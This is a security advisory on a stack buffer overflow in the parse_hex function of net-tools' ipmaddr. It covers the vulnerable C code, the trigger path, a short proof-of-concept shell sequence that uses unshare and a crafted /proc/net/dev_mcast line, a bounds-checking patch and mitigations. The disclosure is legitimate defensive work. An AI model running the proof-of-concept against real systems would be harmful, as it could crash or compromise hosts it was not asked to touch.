Skip to content

GHSA-h667-qrp8-gj58

CVE Information

Affected Binary: ipmaddr
Vulnerability Type: Stack-based Buffer Overflow

1. Vulnerability Description

A stack buffer overflow vulnerability exists in the parse_hex function within ipmaddr.c of the net-tools suite. This function is responsible for parsing hexadecimal hardware addresses from /proc/net/dev_mcast entries.

The vulnerability occurs because the parse_hex function writes decoded hex bytes into a fixed-size buffer without performing any bounds checking. When processing multicast addresses longer than the allocated buffer size (16 bytes), the function continues writing beyond the buffer boundary, corrupting the stack.

2. Technical Details

Vulnerable Code (util-ank.c or ipmaddr.c, parse_hex)

static int parse_hex(char *str, unsigned char *addr)
{
    int len=0;

    while (*str) {
        int tmp;
        if (str[1] == 0)
            return -1;
        if (sscanf(str, "%02x", &tmp) != 1)
            return -1;
        addr[len] = tmp;    // NO BOUNDS CHECK!
        len++;
        str += 2;
    }
    return len;
}

Trigger Condition

The overflow is triggered in read_dev_mcast() when:

void read_dev_mcast(struct ma_info **result_p)
{
    // ...
    while (fgets(buf, sizeof(buf), fp)) {
        char hexa[256];
        struct ma_info m;  // Contains inet_prefix addr with __u32 data[4] (16 bytes)
        
        // Parse the hex string
        m.addr.family = AF_PACKET;
        len = parse_hex(hexa, (unsigned char*)&m.addr.data);  // Overflow here!
        // ...
    }
}

The m.addr.data buffer is only 16 bytes (__u32 data[4]), but parse_hex will write as many bytes as the hex string contains.

3. Proof of Concept (PoC)

# Create a malicious /proc/net/dev_mcast with 20-byte address (40 hex chars)
mkdir -p /tmp/ipmaddr_poc_dir/net
echo "1 eth_poc_ma 1 0 0102030405060708090A0B0C0D0E0F1011121314" > /tmp/ipmaddr_poc_dir/net/dev_mcast

# Execute ipmaddr in controlled namespace
unshare -Urim sh -c '
  mount -t tmpfs tmpfs /proc
  mkdir -p /proc/net
  cp /tmp/ipmaddr_poc_dir/net/dev_mcast /proc/net/dev_mcast
  ./ipmaddr show
'

4. Observed Behavior

Capture

5. Proposed Patch

The parse_hex function must accept a size parameter and check bounds before writing:

static int parse_hex(char *str, unsigned char *addr, size_t max_len)
{
    int len = 0;
    
    while (*str && len < max_len) {
        int tmp;
        if (str[1] == 0)
            return -1;
        if (sscanf(str, "%02x", &tmp) != 1)
            return -1;
        addr[len] = tmp;
        len++;
        str += 2;
    }
    
    /* Check if there's still data but buffer is full */
    if (*str && len >= max_len)
        return -1;  /* Buffer too small */
        
    return len;
}

/* Updated call in read_dev_mcast() */
len = parse_hex(hexa, (unsigned char*)&m.addr.data, sizeof(m.addr.data));
if (len < 0 || len > sizeof(m.addr.data)) {
    /* Handle error */
    continue;
}

6. Mitigations

  • Apply the patch to add bounds checking
  • Disable unprivileged user namespaces (sysctl kernel.unprivileged_userns_clone=0) to prevent non-root exploitation
  • Update to a patched version of net-tools when available

7. Credits

Discovered, reported and coordinated by Mohamed Maatallah (@Zephkek), May 2025.